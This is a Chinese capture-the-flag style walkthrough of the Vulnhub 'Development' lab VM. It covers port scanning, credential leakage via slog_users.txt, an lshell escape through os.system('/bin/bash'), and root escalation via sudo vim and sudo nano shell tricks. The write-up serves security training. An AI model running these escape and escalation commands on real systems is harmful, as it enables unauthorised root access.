首页 > 其他分享 >Vulnhub:Digitalworld.local (Development)靶机

Vulnhub:Digitalworld.local (Development)靶机

时间:2023-04-09 19:15:04浏览次数:57  
标签:Digitalworld Development nano sudo 192.168 vim 提权 gtfobins local

kali:192.168.111.111

靶机:192.168.111.130

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.130

image

查看网站首页源码

image

访问development目录,提示存在一个流量包

image

查看流量包发现另一个网站路径:/developmentsecretpage/directortestpagev1.php

image

访问该路径后退出登录,再重新登录,用户名和密码随便填写,之后页面提示报错

image

根据报错搜索关键字

image

在exp中提示通过访问slog_users.txt获取敏感信息

image

image

md5解密

intern | 12345678900987654321
patrick | P@ssw0rd25
qiu | qiu

使用intern用户登录目标

image

lshell绕过

echo os.system('/bin/bash')

image

提权

使用之前得到的密码,切换到patrick用户查看sudo权限

image

vim提权

提权方法:https://gtfobins.github.io/gtfobins/vim/#sudo

image

sudo -u root vim -c ':!/bin/bash'

image

nano提权

提权方法:https://gtfobins.github.io/gtfobins/nano/#sudo

image

sudo -u root nano
^R^X
reset; sh 1>&0 2>&0

运行nano后,键盘ctrl+r

image

ctrl+x

image

输入命令:reset; sh 1>&0 2>&0,后回车

image

image

标签:Digitalworld,Development,nano,sudo,192.168,vim,提权,gtfobins,local
From: https://www.cnblogs.com/ctostm/p/17300815.html

相关文章

  • ThreadLocal
    什么是ThreadLocalThreadLocal提供了线程局部变量.这些变量和正常的变量不同,因为每一个线程在访问ThreadLocal实例的时候都有自己独立的变量副本.ThreadLocal实例通常是类的私有静态字段,使用它的目的是希望将状态(用户ID、事务ID)与线程关联起来通俗易懂:实现每一个线......
  • flask框架04 导出项目 local flask生命执行流程 wtforms
    今日内容详细目录今日内容详细1请求上下文分析(源码:request原理)1.1导出项目的依赖1.2函数和方法1.3threading.local对象1.4偏函数1.5flask整个生命执行流程(1.1.4版本为例)2wtforms(了解)1请求上下文分析(源码:request原理)1.1导出项目的依赖#之前pipfreeze>requ......
  • Server Error `defineOptions()` in <script setup> cannot reference locally declar
    这个错误提示是因为在<scriptsetup>标签中使用了defineOptions()函数,并且该函数中引用了一个本地声明的变量(比如COMPONENT_NAME)。由于<scriptsetup>中的代码会被自动包装在setup()函数内部执行,而defineOptions()函数会被提升到setup()函数外部执行,因此就会出现该错误。为了解决......
  • c#: AsyncLocal的使用,对比ThreadLocal
    一、先说ThreadLocal在以前写代码的时候,还没有异步的概念,那个时候我们处理HTTP请求就只用一个线程就搞定了,有的时候我们想在代码中共享一个对象,我们希望将这个对象绑定到线程上。如下:classProgram{privatestaticThreadLocal<WebContext>threadLocal=newThreadLoca......
  • flask之请求上下文分析之导出项目依赖-函数和方法的区别-threading.local对象-偏函数-
    目录flask之请求上下文分析之导出项目依赖-函数和方法的区别-threading.local对象-偏函数-flask整个生命执行流程--wtforms今日内容详细1请求上下文分析(源码:request原理)1.1导出项目的依赖1.2函数和方法1.3threading.local对象1.4偏函数1.5flask整个生命执行流程(1.1.4版本......
  • flask-day4——pipreqs模块、函数和方法的区别、threading.local对象、偏函数、flask
    目录一、请求上下文分析(源码:request原理)1.1导出项目的依赖(pipreqs模块)1.2函数和方法1.3threading.local对象代码演示自定义封装local,实现兼容线程和协程1.4偏函数1.5flask整个生命执行流程(1.1.4版本为例)二、wtforms(了解)三、作业1、为什么有了gil锁还要互斥锁2、什么是进程,线......
  • 请求上下文分析、函数和方法、threading.local对象、偏函数、flask整个生命执行流程(1
    请求上下文分析(源码:request原理)导出项目的依赖#之前pipfreeze>requirments.txt把当前解释器环境下的所有第三方依赖都导出来#使用第三方模块,更精确的导出依赖pipreqs第一步:安装pip3installpipreqs第二步:使用命令,导出项目依赖pipreqs./w......
  • 【flask】flask请求上下文分析 threading.local对象 偏函数 flask1.1.4生命执行流程
    目录上节回顾今日内容1请求上下文分析(源码:request原理)1.1导出项目的依赖1.2函数和方法1.3threading.local对象1.4偏函数1.5flask整个生命执行流程(1.1.4版本为例)2wtforms(了解)补充上节回顾#1蓝图 -第一步:导入-第二步:实例化得到对象,可以指定static和templates......
  • begin :id := sys.dbms_transaction.local_transaction_id; end;问题
    我在session876中執行完下面sql后select*fromtable在到另一session中執行SELECT/*+ORDERED*/sql_textFROMv$sqltextaWHERE(a.hash_value,a.address)IN(SELECTDECODE(sql_hash_value,0,prev_hash_value,sql_hash_value),......
  • ThreadLocal缺点及解决方案
    简单的一句话总结是每个Thread上都有一个threadLocals属性,它是一个ThreadLocalMap,里面存放着一个Entry数组,key是ThreadLocal类型的弱引用,value是对用的值。所有的操作都是基于这个ThreadLocalMap操作的。但是它有一个局限性,就是不能在父子线程之间传递。即在子线程中无法访问在父......